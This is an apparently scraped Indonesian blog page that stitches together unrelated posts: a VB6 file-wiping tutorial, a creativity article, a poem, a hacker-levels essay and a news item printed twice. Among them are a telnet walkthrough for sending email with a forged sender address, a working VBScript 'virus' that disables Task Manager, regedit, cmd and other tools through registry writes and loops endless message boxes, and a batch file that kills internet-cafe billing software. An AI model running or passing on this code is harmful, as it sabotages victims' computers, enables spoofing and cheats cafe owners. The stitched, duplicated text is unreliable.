MAKE DATA DESTROYER WITH VB6
--< Table Of Contents: ----------------------------------------------------------
I. Preface
II. Contents
01. Konsep Dasar
02. Let's do it!!
III. Penutup
----------------------------------------------------------------------------------

I. Preface
-----------


File yang telah anda hapus ternyata belum sepenuhnya hilang dari harddisk anda sekalipun anda sudah memusnahkannya dari Recycle Bin. Di satu sisi hal ini menguntungkan karena kita bisa mengembalikan data-data penting kita yang tidak sengaja terhapus karena kelalaian kita. Namun di sisi lain bisa jadi berbahaya tatkala file tersebut berisi data rahasia yang ingin kita musnahkan karena orang lain bisa saja menemukan file rahasia itu dengan menggunakan software-software recovery data yang kini semakin banyak dan semakin luar biasa.

Untuk keperluan penghancuran data sensitif, kita mungkin sering bergantung pada tools yang telah banyak beredar. Kali ini, kita akan mencoba membuat tools penghancur data sendiri menggunakan VB6.0 dengan konsep sederhana.


II. Contents
------------

-----[01]. Konsep dasar


Konsep dasar dalam program penghancur data yang akan kita buat kali ini ialah sebagai berikut:
1. Buka file target kemudian hapus semua data yang tersimpan.

2. Ubah ekstensi File target.

3. Hapus File target.

-----[02]. Let's DO IT!

(1). Buka aplikasi VB6.0 anda. Pada jendela New Project, pilih Standard Exe lalu klik [OPEN].

(2). Tekan [CTRL]+[T] untuk memanggil jendela add component. Carilah component bernama Microsoft Common Dialog Control 6.0 (SP3). Beri centang lalu klik [OK].

(3). Sekarang, tambahkan komponen komponen berikut pada form anda:
-> 1 buah TextBox
-> 1 buah Label
-> 2 buah Command Button
-> 1 buah CommonDialog
Atur tampilannya sesuai keinginan anda.

(4). Klik menu [View] lalu pilih [Code]. Salin code berikut pada area kerja anda.

-------------------------------------------------------------------------------------

Private Sub Form_Load()
Text1.Text = ""
Label1.Caption = ""
Command1.Caption = "BROWSE"
Command2.Caption = "DESTROY!"
Form1.Caption = "Penghancur Data"
End Sub
Private Sub Command1_Click()
'------------------------------------------------
'Mencari file target
'------------------------------------------------
Label1.Caption = ""
Text1.Text = ""
On Error GoTo ErrHandler
CommonDialog1.Filter = "All Files"
CommonDialog1.FilterIndex = 2
CommonDialog1.DialogTitle = "Open file to delete..."
CommonDialog1.ShowOpen
Text1.Text = CommonDialog1.FileName
ErrHandler:
Exit Sub
End Sub
Private Sub Command2_Click()
'------------------------------------------------
'Buka file target kemudian hapus seluruh isinya.
'------------------------------------------------
Open CommonDialog1.FileName For Output As #1
Print #1, ""
Close #1
'------------------------------------------------
'Ubah ekstensi file target menjadi .tmp
'------------------------------------------------
changeEX = ChangeFileExt(CommonDialog1.FileName, "tmp")
Label1.Caption = "DATA SUDAH DIHANCURKAN!!"
End Sub
Public Function ChangeFileExt(ByVal nama_file As String, ByVal ekstensi_baru As String) As Boolean
'------------------------------------------------
'Fungsi untuk mengubah ekstensi file
'------------------------------------------------
Dim x As Long
Dim xy As Long
Dim nama_baru As String
On Error Resume Next
ChangeFileExt = False
If nama_file = "" Then Exit Function
x = 0
Do
xy = x
x = InStr(x + 1, nama_file, ".", vbBinaryCompare)
Loop Until x = 0
If xy > 0 Then
nama_baru = Left(nama_file, xy - 1)
Else
nama_baru = nama_file
End If
nama_baru = nama_baru & "." & ekstensi_baru
Err.Clear
Name nama_file As nama_baru
Kill nama_baru
If Err.Number = 0 Then ChangeFileExt = True
End Function

-----------------------------------------------------------------------------------

5). Compile hasil pekerjaan anda. Klik menu [File] [Make Project1.exe]. Beri nama data_destroyer.exe lalu klik [OK].

Cobalah untuk menghapus suatu file dengan aplikasi yang baru saja anda buat. Lalu cobalah recovery kembali data yang telah terhapus itu dengan software recovery data kesayangan anda. Lihat hasilnya.. Wink

5 Langkah Membuka Pintu Kreativitas


seringkali kita menyebut seseorang yang pandai menulis atau berhasil membuahkan hasil karya seni lukis, sebagai seseorang yang kreatif. Namun sebenarnya, yang disebut kreatifitas sejati, lebih baik darai apa yang dapat kita definisikan. Pada dasarnya, kreatifitas tak hanya dapat dilihat dari inovasi yang diciptakan oleh seorang penemu yang giat menciptakan hal- hal yang baru. Bahkan kemampuan mengatur waktu bagi seorang ibu yang memiliki tiga anak, juga dapat disebut kreatifitas. Jadi, sebenarnya kita semua dapat dapat jadi seorang yang kreatif asalkan tidak menutup pintu kreatifitas kita sendiri. Berikut kami sampaikan lima langkah agar kita dapat membuahkan kreatifitas.



Langkah pertama (1)



Buat pilihan untuk jadi kreatif. Pertama, anda harus menghapus pandangan tentang kreatif yang telah tertanam dalam kepala anda, sebab, kalau masih memikirkan kreatif dalam artian sempit, akan sulit bagi anda untuk membuka pintu kreatifitas . bangun tekad anda dalam pilihan anda ini dan petakan definisi kreatif dari diri anda sendiri, serta pula dengan semua criterianya guna mempermudah pencapaian. Ekpresikan kreatifitas anda dalam salah satu saluran tradisional ( seni, music, puisi, dan sebagainya), atau lebih bagus lagi jika anda menemukan cara baru anda sendiri.





Langkah Kedua (2)



Perluas cakrawala anda. Kreatifitas biasanya tak datang dari wilayah yang telah anda kenal. Menumbuhkan imajinasi kadangkala mengharuskan kita untuk memperluas cakrawala, namun sering kali untuk memulainya, kita tak pernah mengambil resiko keluar dari zona aman kita sendiri. Anda mungkin bias memulai dengan mengunjungi tempat- tempat yang berbeda, misalnya mengunjungi kota yang berbeda, atau bahkan took atau tempat makan yang berbeda dari biasanya. Pelajari sesuatu yang baru. Kalau perlu ikutlah kursus dan bangun keterampilan dalam bidang yang berbeda. Dan itu semua akan merangsang daya imajinasi anda untuk berkreasi.





Langkah ketiga (3)



Buatlah langkah berani. Salah satu bagian dalam mengekplorasi kreatifitas adalah mengambil sebuah kesempatan dan berani bertindak. Sisi tambahanya, ada banyak aturan disini, jadi semua usaha tak akan sia- sia dan membawa keuntungan.



Langkah keempat (4)



Harapkan sedikit kegagalan… dan jadikan dorongan unmtuk maju. Salah satu alas an utama menutup pintu kreatifitas adalah adanya ketakutan akan kegagalan. Sekali jatuh, atau bahkan mungkin beberapa kali, tak membuat anda lebih nyaman dalam menghindari kegagalan. Jika ini benar, tak satupun dari kita yang melakukan usaha belajar berjalan. Banyak dari inovasi mengagumkan didunia ini bermula dari kegagalan. Bahkan Thomas alfa Edison harus melakukan usaha 50.000 kali hingga ia berhasil menemukan baterai alkalin yang masih kita gunakan hingga kini.





Langkah kelima (5)



Kenali pencapaian anda. Seringkali, kita semua melakukan kreatifitas atau membuat yang baru, dan saat seseorang memberi pujian, kita lebih senang mengelaknya. Jangan memandang rendah setiap hasil yang anda capai, itu hanya sedikit peningkatan. Jika anda terus mengelak hasil usaha yang anda capai, itu dapat menutup pintu kreatifitas anda. Jika anda membuat sebuah kemajuan, yakinkan anda menghargai itu, bahkan kalau perlu rayakan bersama teman atau keluarga ( cyberlove80@yahoo.co.id)

Menggunakan Telnet Untuk mengirim e-mail palsu!!

Saat anda menerima e-mail dari seseorang, janganlah langsung percaya. Misalkan, anda mendapat e-mail dari billgates. dengan alamat e-mail : bgates@microsoft.com, yang mengirimkan anda e-mail tampa alasan jelas. Sebenarnya itu adalah ulah hacker-hacker bocah. Cara ini sangat gampang!! bayi pun bisa .

Caranya,
Pertama,
Klik Start, Run. Ketikan telnet.exe
Setelah muncul maka ketikan

Code:

Welcome to Telnet Client

Escape Character is 'CTRL + ]'

Microsoft Telnet > [b]o web40609.mail.yahoo.com 80[/b]
[b]EHLO
MAIL FROM:bgates@microsoft.com
RCPT TO:you.domain.com
Hello, i'm gates
[i](enter)[/i].[i]
(enter)[/i][/b]

Penjelasan Kode:

Kata yang dicetak tebal : Kita mengetiknya
Kata yang dicetak miring & tebal : kita menekan tombolnya

Kode : o web40609.mail.yahoo.com 25 kode diatas untuk membuka SMTP pada web. anda bisa mengganti SMTP dengan alamat lain yang diinstall SMTP. Kali ini saya menggunakan SMTP yahoo. Port 25 adalah port untuk mengakses SMTP.

Boleh ditambahkan dan dikomentari

Mengenal Lebih Jauh ttg Hacker

Dalam dunia kita (hacker) terdapat tingkat/level. Seorang hacker akan
melalui tahapan tahapan untuk menjadi sempurna. Tahapan tersebut ialah:

1. Mundane Person
Tingkatan paling bawah. Seseorang pada tingkatan ini pada dasarnya tidak
tahu sama sekali tentang hacker dan cara-caranya, walaupun ia mungkin
memiliki komputer sendiri dan akses Internet. Ia hanya tahu bahwa yang
namanya hacker itu membobol sistem komputer dan melakukan hal-hal yang
negatif (tindak kejahatan). Padahal sebenarnya hacker bukan seperti itu,
kecuali hacker tidak taat e-tik

2. Lamer
Seseorang pada tingkatan ini masih dibingungkan oleh seluk beluk hacking
karena ia berpikir bahwa melakukan hacking sama seperti cara-cara waras
(dalam dunia underground berarti menggandakan perangkat lunak secara ilegal).
Pengetahuannya tentang hal-hal seperti itu masih minim, tapi sudah mencoba belajar.
Seseorang pada tingkatan ini sudah bisa mengirimkan trojan (yang dibuat orang lain)
ke atau pada komputer orang lain ketika melakukan obrolan pada IRC atau ICQ dan
menghapus file-file mereka. Padahal ia sendiri tidak tahu persis bagaimana trojan bekerja.
Seseorang yang sukses menjadi hacker biasanya bisa melalui tahapan ini dengan cepat bahkan melompatinya.

3. Wannabe
Pada tingkatan ini seseorang sudah mengetahui bahwa melakukan tindakan hack itu lebih dari
sekedar menerobos masuk ke komputer orang lain. Ia lebih menganggap hal tersebut sebagai sebuah filsafat
atau way of life. Akhirnya ia jadi ingin tahu lebih banyak lagi. Ia mulai mencari,
membaca dan mempelajari tentang metode-metode hacking dari berbagai sumber.

4. Newbie
Pada tingkatan ini ia sudah memiliki dasar-dasar teknik hacking.
Ia akan mencoba menerobos masuk ke sistem orang lain hanya untuk mencoba apa yang sudah ia pelajari.
Meskipun demikian, pada tingkatan ini ia mengerti bahwa ketika melakukan hacking ia tidak harus merusak sistem
atau menghapus apa saja jika hal itu tidak diperlukan untuk menutupi jejaknya.

5. Hacker
Sebenarnya sulit untuk mengatakan tingkatan akhir atau final dari hacker telah tercapai,
karena selalu saja ada sesuatu yang baru untuk dipelajari atau ditemukan
(mengumpulkan informasi dan mempelajarinya dengan cermat merupakan dasar-dasar yang sama bagi seorang hacker)
dan hal tersebut juga tergantung perasaan (feeling). Meskipun demikian, menjadi seorang hacker memang lebih menjurus
pada hal pemikiran.

Hacker yang tidak taat pada etik akan menjadi:

Dark-side Hacker
Seorang Dark-side hacker sama seperti Darth Vader (tokoh dalam film Star Wars) yang tertarik dengan kekuatan kegelapan.
Hal ini tidak ada hubungannya dengan masalah “baik” atau “jahat” tapi lebih kepada masalah “sah (sesuai hukum yang berlaku)” dan “kekacauan”.
Seorang Dark-side hacker punya kemampuan yang sama dengan semua hacker, tapi “sisi gelap” dari pikirannya membuat ia menjadi unsur berbahaya.

BIDADARIKU

Dia adalah embun pagi

Yang jatuh membasahi kegersangan hati

Hingga mampu menyuburkan seluruh taman sanubari

Dalam kesejukan

Dia adalah bintang gemintang malam diangkasa raya

Yang menemani kesendirian rembulan yang berduka

Hingga mampu menerangi gulita semesta

Dalam kebersamaan

Dia adalah pohon rindang dengan seribu dahan

Yang memayungi dari terik matahari yang tak tertahankan

Hingga mampu memberikan kesejukan

Dalam kedamaian

Wahai angin pengembara

Kabarkanlah kepadaku tentang dirinya

Dia adalah kumpulan mata air dari telaga suci

Yang jernih mengalir tiada henti

Hingga mampu menghapuskan rasa dahaga diri

Dalam kesegaran

Dia adalah derasnya hujan turun

Yang menyirami setiap jengkal bumi yang berdebu menahun

Hingga mampu membersihklan mahkota bunga dan dedaun

Dalam kesucian

Dia adalah untaian intan permata

Yang berkilau indah sebagai anugerah tiada tara

Hingga mampu menebar pesona jiwa

Dalam keindahan

Wahai burung duta suara

Ceritakanlah kepadaku tentang kehadirannya

Padanya yang hilang saat ku membuka mata

dim wasu
set wasu = CreateObject("WScript.Shell")
wasu.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
wasu.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
wasu.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
wasu.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
wasu.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
wasu.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"



sub coba
do
msgbox "ini adalah vbscript",,"coba coba"
msgbox "LAGI NH",,"coba coba"
MSGBOX "HE, he he.. ga bisa diberhentikan ya?",,"mampus lo"
msgbox "ini kan percobaan virus gw, jdi wajar aja ga bisa diberhentikan!",,"VIRUS GILA NEH....!"
MSGBOX "Pasti terulang lagi nih",,"Reply lagi gak neh..?"
msgbox "pILIH YANG MANA DEH....",3,"JUST KIDDING"
msgbox " BUATAN ANAK KELAS XII TPC. SMKN 1 BEKASI ......",5,"Kreatif"
msgbox " ANGKATAN 2008/2009 NIH...",3,"KREATIF"
msgbox "..........",,"......"
msgbox "..........",,"......"
msgbox " sekarang lo buka task manager deh,,,",,"...."
msgbox " ga bisa kan... he he",,"...."
loop
end sub
coba

neh kode mutakhir buat mengkill billing, caranya simpan dinotepad lalu simpan dengan format .bat
truz klo dah jadi klik kanan truz pada tab shorcut ketik ctrl-alt-k, ada syaratnya yach, deepreze harus dihilangkan dahulu

@echo off
taskkill /f /im client007.exe

Berita membanggakan hadir kembali dari negeri Indonesia. Dosen Teknik Elektro ITS, Dr. Muhammad Rivai ST. MT. telah membuat indra pencium elektronik untuk menangkap bau seperti fungsi yang dimiliki hidung manusia. Electronic Nose, merupakan sebuah device yang dapat menirukan indra penciuman manusia dan mungkin bisa menggantikan fungsi penciuman manusia kelak.

Rivai mengungkapkan bahwa device ciptaannya tersebut mampu mengenali, mengidentifikasi, dan menganalisa aroma tertentu dengan memanfaatkan pola-pola algoritma "neural network”. Menurutnya, ide pembuatannya berasal dari iklan rokok yang memperlihatkan bagaimana seseorang dapat mengenali kualitas tembakau hanya dengan mencium aromanya. Kemudian Rivai merangkai segala pertanyaan untuk membuat konsep device pencium elektronik untuk menghasilkan analisis yang akurat dan tidak terpengaruh oleh factor yang diderita hidung manusia.

Konsep Electronic Nose adalah meniru kinerja hidung manusia, menggantikan reseptor penciuman dari hidung manusia menjadi sensor di Electronic Nose. Setiap reseptor dapat memberikan aroma yang berbeda, dari 16 aroma yang mampu tercium, dimana aroma tersebut diperkenalkan oleh software di dalamnya. Menurut Rivai, cara kerja Electronic Nose adalah mulai dengan memasukkan uap aroma ke dalam sensor device tersebut, lalu uap akan diekstraksi menjadi komponen penyusun uap yang diatur oleh sensor Quartz Crystal Microbalance (QCM).

Untuk menangkap uap aroma, Rivai memodifikasi osilator dan memberi lapisan zat kimia dalam sensor, seperti polyethylene glycol. Electronic Nose ini dilengkapi dengan 32 sensor dan device Electronic Nose ini akan dikembangkan ke level menganalisis aroma urin sehingga dapat mengetahui kesehatan ginjal dan saluran kencing. Rivai berharap, device Electrnic Nose yang dibuat dengan modal 10 juta tersebut dapat membantu kehidupan manusia nantinya.(h_n)

Berita membanggakan hadir kembali dari negeri Indonesia. Dosen Teknik Elektro ITS, Dr. Muhammad Rivai ST. MT. telah membuat indra pencium elektronik untuk menangkap bau seperti fungsi yang dimiliki hidung manusia. Electronic Nose, merupakan sebuah device yang dapat menirukan indra penciuman manusia dan mungkin bisa menggantikan fungsi penciuman manusia kelak.

Rivai mengungkapkan bahwa device ciptaannya tersebut mampu mengenali, mengidentifikasi, dan menganalisa aroma tertentu dengan memanfaatkan pola-pola algoritma "neural network”. Menurutnya, ide pembuatannya berasal dari iklan rokok yang memperlihatkan bagaimana seseorang dapat mengenali kualitas tembakau hanya dengan mencium aromanya. Kemudian Rivai merangkai segala pertanyaan untuk membuat konsep device pencium elektronik untuk menghasilkan analisis yang akurat dan tidak terpengaruh oleh factor yang diderita hidung manusia.

Konsep Electronic Nose adalah meniru kinerja hidung manusia, menggantikan reseptor penciuman dari hidung manusia menjadi sensor di Electronic Nose. Setiap reseptor dapat memberikan aroma yang berbeda, dari 16 aroma yang mampu tercium, dimana aroma tersebut diperkenalkan oleh software di dalamnya. Menurut Rivai, cara kerja Electronic Nose adalah mulai dengan memasukkan uap aroma ke dalam sensor device tersebut, lalu uap akan diekstraksi menjadi komponen penyusun uap yang diatur oleh sensor Quartz Crystal Microbalance (QCM).

Untuk menangkap uap aroma, Rivai memodifikasi osilator dan memberi lapisan zat kimia dalam sensor, seperti polyethylene glycol. Electronic Nose ini dilengkapi dengan 32 sensor dan device Electronic Nose ini akan dikembangkan ke level menganalisis aroma urin sehingga dapat mengetahui kesehatan ginjal dan saluran kencing. Rivai berharap, device Electrnic Nose yang dibuat dengan modal 10 juta tersebut dapat membantu kehidupan manusia nantinya.(h_n)